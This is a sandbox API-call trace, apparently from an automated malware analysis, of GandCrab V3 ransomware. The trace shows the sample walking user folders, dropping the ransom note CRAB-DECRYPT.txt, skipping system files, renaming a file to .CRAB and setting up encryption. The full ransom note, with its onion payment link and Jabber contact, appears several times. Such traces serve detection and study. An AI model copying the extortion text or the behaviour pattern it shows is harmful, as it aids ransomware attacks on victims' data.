	[0130.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.421] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.421] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.421] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.421] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.422] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.422] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\\\CRAB-DECRYPT.txt") returned 55
	[0130.422] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.444] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.444] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0130.444] CloseHandle (hObject=0x3e8) returned 1
	[0130.444] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.445] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\") returned 38
	[0130.445] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\*"
	[0130.445] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x320f650
	[0130.445] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.446] FindNextFileW (in: hFindFile=0x320f650, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.446] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.446] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.446] FindNextFileW (in: hFindFile=0x320f650, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.446] lstrcmpW (lpString1="CKxMT", lpString2=".") returned 1
	[0130.446] lstrcmpW (lpString1="CKxMT", lpString2="..") returned 1
	[0130.446] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\", lpString2="CKxMT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT"
	[0130.446] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\"
	[0130.446] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.447] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.447] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.447] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.447] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.447] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.448] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.448] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.448] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.448] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.448] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.448] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.448] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.448] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\\\CRAB-DECRYPT.txt") returned 61
	[0130.449] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0130.450] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.450] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0130.451] CloseHandle (hObject=0x3ec) returned 1
	[0130.451] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.451] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\") returned 44
	[0130.451] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\*"
	[0130.451] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x320fa10
	[0130.452] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.452] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0130.452] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.452] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.452] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0130.452] lstrcmpW (lpString1="5anHeAvR_laZUa", lpString2=".") returned 1
	[0130.452] lstrcmpW (lpString1="5anHeAvR_laZUa", lpString2="..") returned 1
	[0130.452] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\", lpString2="5anHeAvR_laZUa" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa"
	[0130.452] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\"
	[0130.452] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.452] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.452] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.453] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.453] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.453] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.453] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.453] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.453] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.453] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.453] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\\\CRAB-DECRYPT.txt") returned 76
	[0130.453] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\5anheavr_lazua\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0130.455] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.455] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0130.455] CloseHandle (hObject=0x3f0) returned 1
	[0130.456] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.456] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\") returned 59
	[0130.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\*"
	[0130.456] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x320f9d0
	[0130.456] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.456] FindNextFileW (in: hFindFile=0x320f9d0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0130.456] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.456] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.456] FindNextFileW (in: hFindFile=0x320f9d0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0130.456] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.456] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.456] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\CRAB-DECRYPT.txt"
	[0130.456] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.457] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\CRAB-DECRYPT.txt") returned 75
	[0130.457] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\CRAB-DECRYPT.txt") returned 75
	[0130.457] lstrlenW (lpString=".txt") returned 4
	[0130.457] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.457] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.457] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.458] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\CRAB-DECRYPT.txt") returned 75
	[0130.458] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\CRAB-DECRYPT.txt") returned 75
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.458] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.458] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.459] FindNextFileW (in: hFindFile=0x320f9d0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0130.459] lstrcmpW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2=".") returned 1
	[0130.459] lstrcmpW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="..") returned 1
	[0130.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\", lpString2="qt31BcQomXRZfOvRfdZd.wav" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav"
	[0130.459] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.459] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav") returned 83
	[0130.459] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav") returned 83
	[0130.459] lstrlenW (lpString=".wav") returned 4
	[0130.459] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.459] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wav ") returned 5
	[0130.460] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav") returned 83
	[0130.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav") returned 83
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="desktop.ini") returned 1
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="autorun.inf") returned 1
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="ntuser.dat") returned 1
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="iconcache.db") returned 1
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="bootsect.bak") returned 1
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="boot.ini") returned 1
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="ntuser.dat.log") returned 1
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="thumbs.db") returned -1
	[0130.460] lstrcmpiW (lpString1="qt31BcQomXRZfOvRfdZd.wav", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.460] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.460] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB") returned 88
	[0130.461] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\5anheavr_lazua\\qt31bcqomxrzfovrfdzd.wav")) returned 0x20
	[0130.461] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav", dwFileAttributes=0x20) returned 1
	[0130.461] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\5anheavr_lazua\\qt31bcqomxrzfovrfdzd.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\9pns3jr4d\\ckxmt\\5anheavr_lazua\\qt31bcqomxrzfovrfdzd.wav.crab")) returned 1
	[0130.462] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.462] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB"
	[0130.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\9pNs3Jr4D\\CKxMT\\5anHeAvR_laZUa\\qt31BcQomXRZfOvRfdZd.wav.CRAB.CRAB"
	[0130.472] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0130.475] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.476] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.476] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.476] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0130.476] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
